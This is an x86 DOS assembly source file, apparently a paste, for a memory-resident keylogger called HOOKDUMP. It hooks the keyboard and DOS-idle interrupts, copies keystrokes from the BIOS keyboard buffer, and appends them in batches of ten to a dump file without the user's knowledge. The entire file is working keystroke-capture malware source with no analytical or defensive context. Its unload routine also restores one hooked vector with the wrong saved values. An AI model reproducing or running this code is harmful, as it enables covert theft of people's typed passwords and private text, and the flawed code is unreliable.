HOOKDUMP.ASM 2.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148
  1. .286
  2. .model small
  3. .code
  4. org 100h
  5. start:
  6. jmp begin
  7. db 'hello'
  8. begin:
  9. mov ax, 0cch*4 ; CC vector
  10. mov si, ax ;
  11. mov ax, 0
  12. mov es, ax
  13. mov ax, es:[si] ; AX <- intCC
  14. cmp ax, 0FAC0h ; comapre with out Mask (FAC0)
  15. je UNLOAD ; if (allready) then UNLOAD
  16. mov old0x4Co, ax ; Save old intCC
  17. mov ax, es:[si+2] ; -==-
  18. mov old0x4Cs, ax ; -==-
  19. mov word ptr es:[si], 0FAC0h ; Move OUR mask to vec cc
  20. mov word ptr es:[si+2], cs ; SAVE CS
  21. ; Get Vectors
  22. mov ax, 3509h
  23. int 21h
  24. mov old0x9s, es
  25. mov old0x9o, bx
  26. mov ax, 3528h
  27. int 21h
  28. mov old0x28s, es
  29. mov old0x28o, bx
  30. mov ax, 2509h
  31. mov dx, offset NEW0x9
  32. int 21h
  33. mov ax, 2528h
  34. mov dx, offset NEW0x28
  35. int 21h
  36. mov ah, 31h
  37. mov dx, 50h
  38. int 21h
  39. UNLOAD: mov ax, es:[si+2]
  40. mov es, ax
  41. mov ax, 2509h
  42. mov dx, es:[offset old0x9o - 100h]
  43. mov ds, es:[offset old0x9s - 100h]
  44. int 21h
  45. mov ax, 2528h
  46. mov dx, es:[offset old0x9o - 100h]
  47. mov ds, es:[offset old0x9s - 100h]
  48. int 21h
  49. mov ax, es:[offset old0x4Co - 100h]
  50. mov bx, es:[offset old0x4Cs - 100h]
  51. mov cx, 0
  52. mov es, cx
  53. mov es:[0cch*4], ax
  54. mov es:[0cch*4+2], bx
  55. int 20h
  56. NEW0x9:
  57. pusha
  58. push es
  59. mov ax, 40h
  60. mov es, ax
  61. mov ax, es:[1ch]
  62. mov bx, ax
  63. pushf
  64. call dword ptr [old0x9o]
  65. mov ax, es:[1ch]
  66. cmp ax, bx
  67. je NOTNEWBUTT
  68. mov si, ax
  69. mov bx, cnt
  70. cmp si, 1ch
  71. jne OBLS
  72. mov dl, es:[3ch]
  73. jmp GGG
  74. OBLS: mov dl, es:[si-2]
  75. GGG: mov cs:buf[bx], dl
  76. inc cnt
  77. NOTNEWBUTT:
  78. cli
  79. mov al, 20h
  80. out 20h, al
  81. pop es
  82. popa
  83. iret
  84. NEW0x28:
  85. pusha
  86. push es
  87. pushf
  88. call dword ptr [old0x28o]
  89. cmp cnt, 10
  90. jne SHIT
  91. mov cnt, 0
  92. push ds
  93. push cs
  94. pop ds
  95. mov ax, 3d02h
  96. mov dx, offset fname
  97. int 21h
  98. jc create
  99. jmp cool
  100. create:
  101. mov ah, 3ch
  102. mov cx, 0
  103. mov dx, offset fname
  104. int 21h
  105. cool:
  106. mov bx, ax
  107. mov ah, 42h
  108. mov al, 2
  109. mov cx, 0
  110. mov dx, 0
  111. int 21h
  112. mov ah, 40h
  113. mov cx, 10
  114. mov dx, offset buf
  115. int 21h
  116. mov ah, 3eh
  117. int 21h
  118. pop ds
  119. SHIT:
  120. pop es
  121. popa
  122. iret
  123. old0x9o dw 0
  124. old0x9s dw 0
  125. old0x28o dw 0
  126. old0x28s dw 0
  127. OLD0x4Co dw 0
  128. OLD0x4Cs dw 0
  129. cnt dw 0
  130. buf db 10 dup (?)
  131. fname db 'fuck.dmp',0
  132. end start